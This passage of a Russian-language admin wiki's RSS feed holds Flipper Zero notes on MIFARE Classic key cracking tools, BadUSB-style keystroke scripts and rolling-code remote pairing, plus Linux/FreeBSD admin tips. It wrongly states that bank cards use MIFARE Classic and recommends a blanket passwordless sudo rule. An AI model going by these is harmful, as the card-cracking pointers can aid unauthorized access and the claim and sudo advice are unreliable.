 Вот проекты ридеров &lt;a href=&quot;https://github.com/zaphoxx/zaphoxx-uhf-rfid&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/zaphoxx/zaphoxx-uhf-rfid&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/zaphoxx/zaphoxx-uhf-rfid&lt;/a&gt; , &lt;a href=&quot;https://github.com/zaphoxx/zuhf-rfid/blob/main/HOWTO_PART1.md&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/zaphoxx/zuhf-rfid/blob/main/HOWTO_PART1.md&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/zaphoxx/zuhf-rfid/blob/main/HOWTO_PART1.md&lt;/a&gt; &lt;a href=&quot;https://github.com/haffnerriley/Simultaneous-UHF-RFID-FlipperZero&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/haffnerriley/Simultaneous-UHF-RFID-FlipperZero&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/haffnerriley/Simultaneous-UHF-RFID-FlipperZero&lt;/a&gt; , &lt;a href=&quot;https://lab.flipper.net/apps/simultaneous_rfid_reader&quot; class=&quot;urlextern&quot; title=&quot;https://lab.flipper.net/apps/simultaneous_rfid_reader&quot; rel=&quot;ugc nofollow&quot;&gt;https://lab.flipper.net/apps/simultaneous_rfid_reader&lt;/a&gt; из ардуино и двух &lt;strong&gt;TI CC1101&lt;/strong&gt; - очевидно один для передачи сигнала, который инициирует и синхронизирует карту, второй для приема и статья про opensource UHF RFID reader - &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/rfid_2023_tag.pdf&quot; class=&quot;media mediafile mf_pdf&quot; title=&quot;linux_faq:rfid_2023_tag.pdf (2.1 MB)&quot;&gt;rfid_2023_tag.pdf&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;RFID Crack sequence&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;rfid_crack_sequence&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;197-2113&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;bad_kb&quot;&gt;Bad KB&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Позволяет писать скрипты, которые будут тыкать кнопки в USB-клавиатуре. &lt;br/&gt;

&lt;a href=&quot;https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/file_formats/BadUsbScriptFormat.md&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/file_formats/BadUsbScriptFormat.md&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/file_formats/BadUsbScriptFormat.md&lt;/a&gt; &lt;br/&gt;

То есть можно скриптовать сложные действия там, где невозможно использовать интернет и Copy-Paste.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Bad KB&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;bad_kb&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2114-2556&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;nfc&quot;&gt;NFC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Банковские карты - стандарт NXP MIFARE (Classic). &lt;br/&gt;

Про то как оно работает - &lt;a href=&quot;https://forum.flipperzero.one/t/what-are-the-mifare-classic-keys-for-and-how-do-i-use-them/11147&quot; class=&quot;urlextern&quot; title=&quot;https://forum.flipperzero.one/t/what-are-the-mifare-classic-keys-for-and-how-do-i-use-them/11147&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.flipperzero.one/t/what-are-the-mifare-classic-keys-for-and-how-do-i-use-them/11147&lt;/a&gt; &lt;br/&gt;

Чтение этих карт при помощи flipper предполагает перебор ключей. При чтении критично взаимное расположение флиппера и карты. То есть, возможно, читать начнет не сразу и нужно быдет подвигать флиппер относительно карты. &lt;br/&gt;

Существуют инструменты для чтения карт самртфонами: &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool&quot; class=&quot;urlextern&quot; title=&quot;https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool&quot; rel=&quot;ugc nofollow&quot;&gt;https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/noproto/FlipperMfkey&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/noproto/FlipperMfkey&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/noproto/FlipperMfkey&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://forum.dangerousthings.com/t/how-to-flipper-zero-write-mifare-classic-to-a-gen1a-implant/17766/2&quot; class=&quot;urlextern&quot; title=&quot;https://forum.dangerousthings.com/t/how-to-flipper-zero-write-mifare-classic-to-a-gen1a-implant/17766/2&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.dangerousthings.com/t/how-to-flipper-zero-write-mifare-classic-to-a-gen1a-implant/17766/2&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://medium.com/exc3l/cracking-mifare-classic-cards-with-proxmark3-e42121cd968b&quot; class=&quot;urlextern&quot; title=&quot;https://medium.com/exc3l/cracking-mifare-classic-cards-with-proxmark3-e42121cd968b&quot; rel=&quot;ugc nofollow&quot;&gt;https://medium.com/exc3l/cracking-mifare-classic-cards-with-proxmark3-e42121cd968b&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;NFC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;nfc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2557-3602&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;прописать_флиппер_в_качестве_брелка_rolling_code&quot;&gt;Прописать флиппер в качестве брелка rolling code&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.reddit.com/r/flipperzero/s/UH2bn9BkVD&quot; class=&quot;urlextern&quot; title=&quot;https://www.reddit.com/r/flipperzero/s/UH2bn9BkVD&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.reddit.com/r/flipperzero/s/UH2bn9BkVD&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Sorry for the weird step by step instruction formatting. Looked normal when I wrote it, Reddit won&amp;#039;t let me edit it. Here&amp;#039;s how it&amp;#039;s supposed to look like:
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u043b\u0438\u043f\u043f\u0435\u0440 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u0440\u0435\u043b\u043a\u0430 rolling code&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c_\u0444\u043b\u0438\u043f\u043f\u0435\u0440_\u0432_\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435_\u0431\u0440\u0435\u043b\u043a\u0430_rolling_code&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;3603-3909&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;finding_proper_protocol&quot;&gt;1. Finding proper protocol.&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Get access to a working remote already paired to the receiver and read it&amp;#039;s signal. Check it&amp;#039;s name and remember it. &lt;br/&gt;

Alternatively, if you don&amp;#039;t have access to an existing remote, try to look up the protocol on the internet via searching receiver&amp;#039;s name.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;1. Finding proper protocol.&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;finding_proper_protocol&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;3910-4208&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;add_the_signal_manually_to_your_flipper&quot;&gt;2. Add the signal manually to your flipper.&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Go to subghz → add manually and find your protocol on the list. If it isn&amp;#039;t there, you can try to download it from the web (or just install 3rd party software that already has a lot of the most common protocols, like I did) Click the protocol, name it and save.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;2. Add the signal manually to your flipper.&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;add_the_signal_manually_to_your_flipper&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;4209-4528&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;find_your_receivers_programming_manual&quot;&gt;3. Find your receivers programming manual.&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Try searching the receivers name on the internet, and find it&amp;#039;s manual. There you can find info on how to pair a regular new remote. Note that the process is often different if the receiver has no other remotes in it&amp;#039;s memory.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;3. Find your receivers programming manual.&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;find_your_receivers_programming_manual&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;4529-4811&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit9&quot; id=&quot;follow_the_pairing_manual&quot;&gt;4. Follow the pairing manual.&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
If the manual says, for example, to hold some button on the receiver, just hold-send the signal you added manually.
&lt;/p&gt;

&lt;p&gt;
&lt;br/&gt;

5. Wait for the receiver to stop programming and enjoy your paired remote! You can use the added manually signal to control the receiver.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;4. Follow the pairing manual.&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;follow_the_pairing_manual&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;4812-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 19 Feb 2025 08:29:59 +0000</pubDate>
        </item>
        <item>
            <title>force_umount_unreacheable_nfs_share</title>
            <link>https://wiki.autosys.tk/linux_faq/force_umount_unreacheable_nfs_share</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На хосте Ubuntu 20.04 была смонтирована сетевая NFS-шара, однако в какой-то момент хост с этой шарой стал недоступен по сети. Что же делать?
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-272&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно найти все процессы, которые висят в ожидании IO и прибить их, а затем - принудительно отмонтировать шару. &lt;br/&gt;

Посмотреть все процессы, ожидающие окончания операций ввода-вывода можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ps -e -o s,pid,cmd | grep ^D&lt;/pre&gt;

&lt;p&gt;
Убить их все сразу можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for proc in `ps -e -o s,pid,cmd | grep ^D | awk &amp;#039;{print $2}&amp;#039;`; do kill -9 $proc; done&lt;/pre&gt;

&lt;p&gt;
Принудительно отмонтировать шару так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;umount -f /mnt/share&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;273-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 01 Jul 2021 20:51:16 +0000</pubDate>
        </item>
        <item>
            <title>freebsd_11.0_radeon_8000_can_not_load_module</title>
            <link>https://wiki.autosys.tk/linux_faq/freebsd_11.0_radeon_8000_can_not_load_module</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;Xorg&lt;/strong&gt; не запускается, а в логах ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[drm] failed to load kernel module &amp;quot;radeon&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Если попытатьзя загрузить модуль &lt;strong&gt;radeon_drv.so&lt;/strong&gt; вручную:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kldload /usr/local/lib/xorg/modules/drivers/radeon_drv.so &lt;/pre&gt;

&lt;p&gt;
то в &lt;strong&gt;dmesg&lt;/strong&gt; будет ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;link elf: symbol xf86CrtcConfigPrivateIndex undefined&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-402&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;что_же_делать&quot;&gt;Что же делать&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.bsddesktop.com/images/110amd64-ports-graphics-xserver-mesa-next/&quot; class=&quot;urlextern&quot; title=&quot;http://www.bsddesktop.com/images/110amd64-ports-graphics-xserver-mesa-next/&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.bsddesktop.com/images/110amd64-ports-graphics-xserver-mesa-next/&lt;/a&gt;
&lt;a href=&quot;https://github.com/FreeBSDDesktop/freebsd-base-graphics/wiki&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/FreeBSDDesktop/freebsd-base-graphics/wiki&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/FreeBSDDesktop/freebsd-base-graphics/wiki&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u0436\u0435 \u0434\u0435\u043b\u0430\u0442\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u0436\u0435_\u0434\u0435\u043b\u0430\u0442\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;403-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>freebsd_11_join_domain</title>
            <link>https://wiki.autosys.tk/linux_faq/freebsd_11_join_domain</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;настройка_нужных_сервисов&quot;&gt;Настройка нужных сервисов&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;pkg install samba44
echo &amp;quot;ntpd_enable=YES&amp;quot; &amp;gt;&amp;gt; /etc/rc.conf&lt;/pre&gt;

&lt;p&gt;
Добавляем запись о контроллере домена в &lt;strong&gt;/etc/ntp.conf&lt;/strong&gt;. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;service ntpd restart&lt;/pre&gt;

&lt;p&gt;
Заполняем &lt;strong&gt;/etc/krb5.conf&lt;/strong&gt;. Важно, чтобы  &lt;strong&gt;default_realm&lt;/strong&gt; был прописан большими буквами. Иначе будет &lt;strong&gt;kinit: Password incorrect&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[libdefaults]
    default_realm = TEST.LOCAL
    dns_lookup_realm = true
    dns_lookup_kdc = true
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = yes &lt;/pre&gt;

&lt;p&gt;
Заполняем &lt;strong&gt;/usr/local/etc/smb4.conf&lt;/strong&gt;. Тут тоже важно, чтобы  &lt;strong&gt;realm&lt;/strong&gt; и &lt;strong&gt;workgroup&lt;/strong&gt; были прописан большими буквами.:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[global]
    workgroup = TEST
    security = ads
    realm = TEST.LOCAL
    encrypt passwords = yes
    idmap config * : backend = tdb
    idmap config * : range = 100000-299999
    idmap config TEST : backend = rid
    idmap config TEST : range = 10000-99999
    winbind separator = +
    winbind enum users = yes
    winbind enum groups = yes
    winbind use default domain = yes
    winbind refresh tickets = yes
    template shell = /bin/tcsh
    template homedir = /home/%D_%U&lt;/pre&gt;

&lt;p&gt;
Прописываем&lt;strong&gt; winbind&lt;/strong&gt; в &lt;strong&gt;/etc/nsswitch.conf&lt;/strong&gt;. Заменяем строки  &lt;strong&gt;group: compat&lt;/strong&gt; и &lt;strong&gt;passwd: compat&lt;/strong&gt; на &lt;strong&gt;group: files winbind&lt;/strong&gt; и &lt;strong&gt;passwd: files winbind&lt;/strong&gt; соответственно.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sed -i -e &amp;#039;s/group: compat/group: files winbind/&amp;#039; /etc/nsswitch.conf
sed -i -e &amp;#039;s/passwd: compat/passwd: files winbind/&amp;#039; /etc/nsswitch.conf&lt;/pre&gt;

&lt;p&gt;
Включаем и запускаем сервисы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;quot;samba_server_enable=YES&amp;quot; &amp;gt;&amp;gt; /etc/rc.conf
echo &amp;quot;winbindd_enable=YES&amp;quot; &amp;gt;&amp;gt; /etc/rc.conf
service samba_server restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043d\u0443\u0436\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u043d\u0443\u0436\u043d\u044b\u0445_\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1840&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;введение_в_домен&quot;&gt;Введение в домен&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Получаем тикет &lt;strong&gt;kerberos&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kinit domain_admin_login&lt;/pre&gt;

&lt;p&gt;
Проверяем что тикет есть:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;klist&lt;/pre&gt;

&lt;p&gt;
Вводим систему в домен:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;net ads join -U domain_admin_login&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0434\u043e\u043c\u0435\u043d&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0435_\u0432_\u0434\u043e\u043c\u0435\u043d&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1841-2090&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;проверка&quot;&gt;Проверка&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Проверяем соединение с доменом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;net ads testjoin&lt;/pre&gt;

&lt;p&gt;
Проверяем. Получаем список пользователей и груп домена:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wbinfo -u
wbinfo -g
getent passwd
getent group&lt;/pre&gt;

&lt;p&gt;
Если команды &lt;strong&gt;wbinfo&lt;/strong&gt; не выдает ничего, то это значит что не запущен &lt;strong&gt;winbindd&lt;/strong&gt; или некорректно составлен &lt;strong&gt;/usr/local/etc/smb4.conf&lt;/strong&gt;. 
Если команды &lt;strong&gt;getent&lt;/strong&gt; показывают только локальных пользователей и группы, хотя &lt;strong&gt;wbinfo&lt;/strong&gt; показывает доменных пользователей, то это значит что в &lt;strong&gt;/etc/nsswitch.conf&lt;/strong&gt; не поправлены строки &lt;strong&gt;passwd:&lt;/strong&gt; и &lt;strong&gt;group:&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2091-2913&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;настройка_pam&quot;&gt;Настройка PAM&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Дальше нужно включить локальный вход для доменных пользователей. Для этого нужно отредактировать файлы в &lt;strong&gt;/etc/pam.d/&lt;/strong&gt;. Для локального входа - &lt;strong&gt;/etc/pam.d/login&lt;/strong&gt;, для входа по &lt;strong&gt;ssh&lt;/strong&gt; - &lt;strong&gt;/etc/pam.d/sshd&lt;/strong&gt;, для входа в &lt;strong&gt;kde&lt;/strong&gt; - &lt;strong&gt;/usr/local/etc/pam.d/kde&lt;/strong&gt;
Чтобы при входе создавались хомдиры нужно установить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pkg install pam_mkhomedir&lt;/pre&gt;

&lt;p&gt;
Затем прописываем
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session         required        /usr/local/lib/pam_mkhomedir.so  mode=0700&lt;/pre&gt;

&lt;p&gt;
Несколько слов о &lt;strong&gt;template homedir&lt;/strong&gt; в . Когда пользователи создаются с помощью &lt;strong&gt;adduser&lt;/strong&gt; - домашние директории создаются в момент создания учетной записи, однако в случае входа доменого пользователя его домашней директории, скорее всего. не существует. Для автоматического создания директории нужно установить &lt;strong&gt;pam_mkhomedir&lt;/strong&gt; и прописать нужных файлах в директории &lt;strong&gt;/etc/pam.d/&lt;/strong&gt; строку запуска &lt;strong&gt;pam_mkhomedir.so&lt;/strong&gt;. Но тут есть нюанс. По умолчанию, template для homedir имеет значение &lt;strong&gt;/home/%D/%U&lt;/strong&gt;, и модуль исправно выполняет &lt;strong&gt;mkdir /home/DOMAIN/USER&lt;/strong&gt;, однако если директории &lt;strong&gt;/home/DOMAIN&lt;/strong&gt; не существет, то папка &lt;strong&gt;/home/DOMAIN/USER&lt;/strong&gt; не создастся. Поэтому нужно либо заменять &lt;strong&gt;/home/%D/%U&lt;/strong&gt; на что-то другое - типа &lt;strong&gt;/home/%D_%U&lt;/strong&gt;, либо создавать директорию &lt;strong&gt;/home/DOMAIN/&lt;/strong&gt; вручную.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для того, чтобы пользователи могли локально логиниться в консоль редактируем &lt;strong&gt;/etc/pam.d/login&lt;/strong&gt;. В нем в секцию &lt;strong&gt;auth&lt;/strong&gt; первой строкой дописываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;auth    sufficient      pam_winbind.so&lt;/pre&gt;

&lt;p&gt;
А в секцию &lt;strong&gt;account&lt;/strong&gt; первой строкой дописываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;account sufficient      pam_winbind.so&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;/usr/local/etc/pam.d/kde&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 PAM&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_pam&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2914-5298&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;права_root&quot;&gt;Права root&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Первый варивант:
Можно установить sudo
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;samba# cd /usr/ports/security/sudo
samba# make install clean&lt;/pre&gt;

&lt;p&gt;
далее правим файл /usr/local/etc/sudoers добавив в него вот такую строку
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;user        ALL=(ALL)       NOPASSWD: ALL&lt;/pre&gt;

&lt;p&gt;
Создаем группу в АД и включаем туда тех, кому нужно дать права рута на фри
после чего правим файлик, где заменяем следующие строки
&lt;/p&gt;

&lt;p&gt;
samba# ee/etc/pam.d/su
# auth
auth     sufficient    pam_rootok.so    no_warn
auth     sufficient    pam_self.so      no_warn
&lt;/p&gt;

&lt;p&gt;
#auth    requisite     pam_group.so     no_warn group=wheel root_only fail_safe
#заменяем группу wheel на группу с АД, юзерам которой разрешен вход под рутом
auth     requisite pam_group.so     no_warn group=freeadmin root_only fail_safe
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0430\u0432\u0430 root&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0430\u0432\u0430_root&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;5299-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>freebsd_boot_from_usb_cant_mount_root</title>
            <link>https://wiki.autosys.tk/linux_faq/freebsd_boot_from_usb_cant_mount_root</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;bootloaderconf&quot;&gt;/boot/loader.conf&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
